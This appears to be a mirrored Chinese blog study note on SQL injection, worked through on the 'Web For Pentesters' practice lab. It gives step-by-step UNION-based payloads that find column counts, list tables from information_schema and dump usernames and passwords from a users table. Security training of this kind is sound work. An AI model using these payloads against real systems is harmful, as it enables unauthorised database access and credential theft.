zoukankan      html  css  js  c++  java
  • 网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

    SQL 注入一般流程

    1. 判断有无注入
      单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入
      and,or判断....很多,网上搜

    order by 判断字段数 ,order by 5可以 6不行,说明5个字段
    得到字段数后union select得到可以输出的字段: union select ,a union b 要求a,b字段数相同。
    比如 ' union select 1,2,3,4,5 %23, 输出 1,3,5 说明这三个字段可以输出

    ' 单引号,%27 (16位ascii)
    %23 #,注释
    --+ 忽略下一个符号

    利用可以输出的字段获取信息
    下面用 Web For Pantesters 的 SQL injection 的example 1为例

    example 1

    1.

    ?name=root' 出错无输出,说明可以注入

    2.

    name=root' order by 5 --+ 正常
    6--+ 出错,说明5个字段

    root' union select 1,2,3,4,5 发现输出为1,2,3,可以用1,2,3列输出信息。 (这里不一定用12345,78945也行,无所谓)

    3.查看基本信息

    database() 数据库名,information_schema.tables 存储元数据, ...
    利用union select 查询基本信息。

    root' union select @@verson,@@datadir,database(),4,5
    

    因为union 要求列数相同,故除了 @@verson,@@datadir,database() 外还要有4,5。这样得到version,路径,数据库名

    查询表名
    数据库名为 exercises,转化为16进制XXX
    然后 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(数据库名的16进制),注意注释掉后面

    得到表名users。查询column name。
    union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16进制

    4.

    输出三项,得到name,password
    ' union select id,name,passwd,4,5 from users %23

    有时候可以用 group_concat,concat_ws ,括号等输出更多列的信息。(比如在3列中输出5列信息)

  • 相关阅读:
    uva 550
    uva 10110
    uva 10014
    uva 10177
    uva 846
    Dear Project Manager, I Hate You
    创业型软件公司的心得
    架构设计的心得
    程序员常去的103个网站
    66个经典源码网站
  • 原文地址:https://www.cnblogs.com/lqerio/p/13609755.html
Copyright © 2011-2022 走看看